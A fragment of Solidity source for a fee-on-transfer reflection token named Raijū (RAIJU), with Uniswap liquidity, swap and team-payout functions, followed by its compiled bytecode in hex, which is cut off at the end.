if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f5261696ac5ab0000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5241494a55000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f76